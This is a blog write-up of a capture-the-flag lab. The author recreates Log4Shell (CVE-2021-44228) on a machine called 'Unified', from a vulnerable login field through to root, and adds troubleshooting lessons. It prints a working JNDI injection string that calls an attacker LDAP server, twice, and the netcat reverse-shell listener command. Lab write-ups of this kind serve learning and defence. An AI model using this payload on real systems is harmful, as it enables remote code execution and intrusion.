

From Payload to Pwned: Recreating Log4Shell (CVE-2021-44228) in a Controlled Lab

In late 2021, the cybersecurity world was shaken by one of the most severe zero-days ever discovered: **CVE-2021-44228**, better known as **Log4Shell**. The vulnerability affected the widely used Apache Log4j library, allowing attackers to inject specially crafted strings that triggered remote code execution via JNDI lookups.

In this blog, I'll walk through how I recreated this vulnerability in a lab environment, step-by-step, to understand the exploit chain, its impact, and the troubleshooting lessons I picked up along the way.

Phase 1: Reconnaissance

Like most engagements, it started with reconnaissance.

We found a login page, intercepted it with **Burp Suite**, and spotted an interesting field being passed along in the POST request — a parameter called "remember".

This looked like a perfect injection point for Log4Shell payloads.

Phase 2: Crafting the Payload

To exploit Log4Shell, the classic payload is:

```
"remember": "${jndi:ldap://10.10.14.20:1389/o=tomcat}"
```

This tells the vulnerable Log4j instance to perform a JNDI lookup against our attacker-controlled LDAP server, which then serves malicious Java code to achieve code execution.

We set up:

- **Burp Suite** to intercept and modify requests.
 - A **rogue JNDI server** to respond to the lookup.
 - **nc -lvnp 4444** on our attacker machine to catch the reverse shell.
-

Phase 3: First Roadblock — The Base64 Slip-Up

Here's where the human factor came in.

The rogue JNDI server expected a **base64-encoded payload** to deliver back to the target. I set it up, but in my rush, I **forgot to actually paste the base64 string into the rogue JNDI server config**.

Result? Nothing happened. Burp Suite kept sending the injection, but the server never picked it up.

👉 **Fix:** Once I realized this, I added the missing base64 string to the rogue JNDI server and restarted it. Immediately, I saw the Burp Suite request hitting my server — progress!

Phase 4: Second Roadblock — Silent Reverse Shell

The next issue:

Even after injecting the payload, my **netcat listener never caught the shell**. Silence.

The culprit? My LDAP injection string wasn't aligned properly. Initially, it was misconfigured in the "remember" field, so the vulnerable Log4j instance didn't interpret it correctly.

👉 **Fix:** Correcting the payload syntax to exactly:

```
"remember": "${jndi:ldap://10.10.14.20:1389/o=tomcat}"
```

After fixing that, the shell popped!

Phase 5: Post-Exploitation — MongoDB and Enumeration

With the shell active, I explored the system:

- Checked running processes.
- Enumerated MongoDB to hunt for credentials and stored data.
- Located the **user flag** under /home/michael/user.txt.

At this point, we had full **user-level access**.

Phase 6: Privilege Escalation to Root

Digging further, we escalated privileges by exploring misconfigurations and root-owned files. Eventually, we captured the **root flag** in /root/root.txt.

Lessons Learned

This lab wasn't just about popping a shell. It was about **understanding the small mistakes and troubleshooting steps** that make or break an exploit chain:

- Always double-check payload encoding (my base64 slip-up cost me time).
 - Syntax matters — one wrong character in `${jndi:ldap://...}` and the exploit fails silently.
 - Persistence pays off. Debugging each step (Burp interception, JNDI response, netcat listener) made it possible to pinpoint where the chain was breaking.
-

Why This Matters

Log4Shell was a **10/10 CVSS vulnerability** because it was:

- Simple to exploit.
- Ubiquitous (Log4j was everywhere).
- Capable of granting full system compromise from a single malicious string.

By recreating it in a lab, I not only practiced exploiting a real-world CVE but also gained appreciation for the complexities attackers face — and how defenders can spot the telltale signs.

Unified has been pwned!

This exercise showed how one CVE can take you from a login page field to full root access. More importantly, it highlighted that research, patience, and troubleshooting are as critical as the exploit itself.

 Next up, I'll be exploring another vulnerable system and writing about it. Stay tuned for more CVE deep dives!